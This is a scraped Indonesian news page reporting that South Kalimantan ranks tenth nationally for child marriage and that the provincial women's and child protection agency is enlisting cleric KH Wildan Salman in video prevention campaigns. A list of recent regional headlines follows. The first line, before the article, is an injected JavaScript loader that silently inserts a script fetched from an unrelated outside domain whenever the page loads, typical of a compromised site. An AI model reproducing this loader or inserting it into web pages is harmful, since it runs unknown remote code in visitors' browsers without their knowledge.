(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Peringkat 10 Perkawinan Usia Muda, DP3A-KB Kalsel Libatkan Ulama Kampanye Pencegahan


KANALKALIMANTAN.COM, BANJARBARU – Upaya menurunkan angka perkawinan anak di Provinsi Kalimantan Selatan (Kalsel) dilakukan pemerintah daerah.

Terkait perkawinan di usia muda, data terakhir pada tahun 2022 menunjukkan, Provinsi Kalsel menduduki peringkat 10 nasional dengan angka 10,53 persen.

Angka itu menurun jika dibandingkan dengan perhitungan yang dilakukan oleh Badan Pusat Statistik Nasional pada tahun 2021 yaitu 15,30 persen.

Baca juga: Gunung Ulin Kekeringan, BPBD Banjar Pasok Air Bersih

Pada tahun 2023 ini pemerintah daerah kembali gencar menurunkan peringkat itu dengan melakukan berbagai cara.

Salah satunya, Dinas Pemberdayaan Perempuan Perlindungan Anak dan Keluarga Berencana (DP3A-KB) Kalsel melakukan inovasi dengan mengkampanyekan edukasi larangan menikah di bawah umur.

Kepala DP3A-KB Kalsel, Adi Santoso mengatakan, kampanye ini akan dilakukan dengan menggandeng tokoh ulama di Kalsel.

Baca juga: Embung Gunung Kupang Capai 32 Persen, Tangkal Banjir di Cempaka 

“Kita mengkampanyekan melalui video yang berisikan imbauan dan ajakan dari KH Wildan Salman atau Guru Wildan kepada masyarakat,” ungkap Kepala DP3A-KB Kalsel, Adi Santoso, Jumat (15/9/2023).

Video edukasi yang akan ditayangkan berupa video program peningkatan kualitas keluarga dan video imbauan pencegahan perkawinan anak.

“Tujuannya agar masyarakat dapat terbuka pikirannya untuk tidak menikahkan anak di bawah usia 18 tahun, pentingnya menghindari perkawinan anak, serta dampak buruk yang akan terjadi jika tetap melakukan perkawinan anak,” jelas dia.

Baca juga: Tugu Nol Kilometer Banjarbaru Branding Ibu Kota Kalsel 

Tayangan video sudah disiapkan agar bisa diseberluaskan di berbagai platform media seperti televisi hingga sosial media.

Tentunya dengan harapan kampanye ini dapat menarik antusias masyarakat luas, sehingga masyarakat dapat mencegah perkawinan anak di bawah umur.

“Sehingga dapat menurunkan angka perkawinan anak secara efektif, dengan menyebarkannya melalui iklan di televisi, sosial media, videotron dan sarana informasi lainnya,” sebutnya.

Baca juga: Hari Demokrasi Internasional 2023: Memberdayakan Generasi Penerus

Mengenai peringkat dan angka perkawainan anak yang mengalami menurunan, Adi menegaskan angka tersebut masih harus lebih jauh dikurangi lagi.

Untuk itu pihaknya tetap berupaya melakukan pencegahan perkawinan anak dengan melibatkan berbagai pihak, bahkan juga langsung dari anak-anak itu sendiri.

“Tentunya kita perlukan peran dan kontribusi yang aktif langsung dari anak-anak, agar mereka dapat berperan pelopor dan juga pelapor,” pungkasnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

5 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

6 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

9 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

9 jam ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

10 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

10 jam ago

This website uses cookies.